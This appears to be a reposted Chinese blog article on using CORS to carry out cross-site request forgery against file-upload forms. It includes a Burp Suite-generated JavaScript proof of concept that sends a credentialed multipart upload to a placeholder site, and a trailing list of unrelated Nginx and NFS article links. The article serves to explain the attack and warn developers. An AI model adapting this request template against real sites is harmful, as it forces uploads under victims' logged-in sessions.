博客
关于我
利用csrf漏洞上传文件
阅读量:157 次
发布时间:2019-02-28

本文共 1941 字,大约阅读时间需要 6 分钟。

HTML5带来了许多有趣的新特性,其中一个是跨域资源共享(CORS)。在之前的版本中,由于同源策略的限制,黑客无法通过JavaScript直接访问其他域的资源。然而,随着XSS等安全问题的普遍存在,同源策略确实为网络安全带来了诸多好处。然而,CORS在这里似乎成为了一把双刃剑。

在文件上传过程中,传统的CSRF防护机制并不足以阻止恶意请求,因为文件上传通常会自动添加filename参数,这使得普通的表单提交难以模拟真实的文件上传请求。但是,随着HTML5的普及,这种情况正在发生变化。

CORS允许浏览器在不受同源策略限制的情况下,进行跨域请求。这意味着即使用户访问了恶意页面,攻击者也无需用户交互,完全可以通过JavaScript发送带有filename参数的跨域请求,从而实施CSRF攻击。

下面的Burp Suite生成的证明代码(PoC)展示了这一点:

function submitRequest() {    var xhr = new XMLHttpRequest();    xhr.open("POST", "https://example.com/new_file.html", true);    xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");    xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");    xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");    xhr.withCredentials = "true";    var body = "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"message\"\r\n"        + "\r\n"        + "\r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"backPage\"\r\n"        + "\r\n"        + "test\r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"dataType\"\r\n"        + "\r\n"        + "test  \r\n"        + "-----------------------------256672629917035\r\n"        + "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n"        + "Content-Type: text/plain\r\n"        + "\r\n"        + "test3\r\n"        + "-----------------------------256672629917035--\r\n";    var aBody = new Uint8Array(body.length);    for (var i = 0; i < aBody.length; i++)        aBody[i] = body.charCodeAt(i);    xhr.send(new Blob([aBody]));}

这个代码通过创建一个 XMLHttpRequest 对象,打开一个跨域的POST请求,并模拟了一个带有filename参数的文件上传请求。攻击者只需在受害者访问恶意页面时,自动触发这个请求,就能完成CSRF攻击。

虽然HTML5的CORS带来了便利,但也为网络安全带来了新的挑战。开发者需要意识到这一点,采取适当的防护措施,防止被恶意利用。

转载地址:http://yjgc.baihongyu.com/

你可能感兴趣的文章
NFS的安装以及windows/linux挂载linux网络文件系统NFS
查看>>
NFS的常用挂载参数
查看>>
NFS网络文件系统
查看>>
NFS远程目录挂载
查看>>
nft文件传输_利用remoting实现文件传输-.NET教程,远程及网络应用
查看>>
NFV商用可行新华三vBRAS方案实践验证
查看>>
ng build --aot --prod生成文件报错
查看>>
ng 指令的自定义、使用
查看>>
ng6.1 新特性:滚回到之前的位置
查看>>
nghttp3使用指南
查看>>
【Flink】Flink 2023 Flink 自动化运维的大规模落地实践
查看>>
Nginx
查看>>
nginx + etcd 动态负载均衡实践(一)—— 组件介绍
查看>>
nginx + etcd 动态负载均衡实践(三)—— 基于nginx-upsync-module实现
查看>>
nginx + etcd 动态负载均衡实践(二)—— 组件安装
查看>>
nginx + etcd 动态负载均衡实践(四)—— 基于confd实现
查看>>
Nginx + Spring Boot 实现负载均衡
查看>>
Nginx + Tomcat + SpringBoot 部署项目
查看>>
Nginx + uWSGI + Flask + Vhost
查看>>
Nginx - Header详解
查看>>